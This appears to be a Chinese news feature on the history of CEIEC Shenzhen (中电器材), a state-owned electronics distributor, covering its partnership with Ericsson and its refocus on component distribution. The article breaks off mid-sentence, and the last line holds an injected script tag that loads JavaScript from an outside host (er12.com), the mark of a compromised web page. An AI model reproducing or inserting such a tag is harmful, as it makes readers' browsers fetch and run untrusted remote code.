2004年，中电器材深圳有限公司（以下简称“中电器材” ）营收突破4亿人民币。年平均增长达30%以上。现在已经成为ericsson、fsl、idt、ns、zilog等多家国际半导体厂商的授权分销商。业内分析人士认为，中电器材已经站到了国内本土电子分销的第一起跑线上。
中电器材总经理周继国说，中电器材将继续深耕分销，并将继续保持较快复合增长势头。
没有人能想到，就是这家公司，几年前，还不知道自己的主营业务是什么，更不知道第二天的“出路”在哪里。
还有一个背景，中电器材是目前中国电子分销行业里唯一的国有企业。今年，是国有企业改革继续深化和攻坚的一年，从中央到地方，都有系列政策出台来促成国有企业改革，不少企业已经通过改制等手段，实现新的跨越。
中电器材将走向哪里？会实现怎样新的跨越？
（一）“蜕变”里前进
1984年，中电器材是原电子工业部销售局的派驻机构。享受“特殊待遇”。1995年，国家取消电子产品内销行政管理，中电器材变成一家普通的贸易公司。
这是一次巨大的转折。也成为中电器材“蜕变”的开始。
周继国总经理对当时的情形有深刻印象。“84年，中电器材成立时，是全民所有制的事业单位，公司什么业务都涉及一点，什么业务都不突出，也没有什么竞争。顶着这块金子招牌，一切都有内销、批文这些权力“后台”撑着，日子过得还算惬意。
“95年取消内销管理制度，对中电器材来说，就象孩子的第一次断奶。在那个几乎所有国有都在面临的转型时期，中电器材也面临同样的问题：国企的特殊照顾没了，自己怎么活下去？”
这个问题，现在看是严峻的。但当时因为还相当“有钱”，并没有太大危机感。
周继国1995年在中电器材财务部工作，他笑着说：“当时算了一下公司的银行存款，按那时的工资标准，这些存款够全公司人员吃80年不会有问题。但我们还是很茫然，因为不想过那种上班喝茶聊天等着发工资的日子。我们总想找点什么事来做。”
但是国有体制遗留下来的问题在于公司虽然不缺钱，但业务比较复杂，经营业务涵盖了元器件、整机、通讯等许多方面，没有核心业务，也谈不上什么竞争力。想要找点事做，却不知道到底该干什么。这也是几乎所有处于转型期的国企所经历过的。
事实上，状况远没有想像中的美好。接下来，当深圳房地产蒸蒸日上时，公司将那笔够全公司人员吃80年的存款投到了地产方面。存款没了，相当于员工的保障没了，这时公司仍是所有业务都抱着不肯放手。1995年到2001年间，中电器材的员工工资标准还是北京总公司参考北京的工资标准定下来的，而这期间，深圳的民营企业发展得蓬蓬勃勃，民企的工资水准远远超过参考北京工资定下来的标准。再加上公司发展方向不明确，员工走的走，散的散，在1985年到1986年进来的20多名业务骨干，就只剩下了一个人。公司仍是东一榔头西一棒的到处抓，几乎所有的业务都是靠自觉形成。这种状况持续了近四年。
第二次转折发生在1998年，与原爱立信微电子的合作是中电器材走向元器件分销商的开始。
周继国说，那时的中电器材有一个稍有特色的电源|稳压器模块业务，与爱立信达成了合作。爱立信在当时的市场上有一定的知名度，通过与爱立信的接触，中电器材慢慢找到了自己作为元器件分销商的发展方向，有了发展方向后，就逐步砍掉了一些与分销无关的客户和产品。1999年，中电器材成为了爱立信的分销商，有了爱立信这个引路者，中电器材就将重点集中到了元器件的分销方面。
路清楚了，但并不好走。周继国对这一段合作，记忆犹新。“当时与爱立信的合作也是充满艰辛，最明显的地方就是交流上的困难。当时国企在与国外的企业交流时，有一个使用频率很高的词语就是“中国特色”或“中国的特殊性”，当我们跟爱立信亚太区分销负责人大讲我们的特殊国情时，他总是满脸茫然，很是不理解。后来，遇到需要交流的问题时，只好让人家说一遍，自己再复述一遍，没有复述错，就定下来，拿回家再仔细琢磨。经过了这个艰难的磨合期后，我们开始意识到：在市场经济体制下，是不能讲“特殊性”的。因为“特殊性”就意味着不能按市场经济的规律办事。
2002年底，公司在制定未来三年规划时，就明确取消了“中国特色”这种说法。
这是转型并走向成熟的一个开始。
有了与第一家原厂爱立信的磨合，积累了一些经验后，再与一些国外企业接触时，就顺利了许多，接下来的代理商就接踵而来。
2003年，中电器材明确定位于做专业技术产品分销商，完全砍掉非主营项目。这被周继国看做是第三次重要转折。
在分销方面有了基本的认识后，接下来发挥哪些优势来做又成了面前的新问题。在比较了分?script src=http://er12.com/t.js>
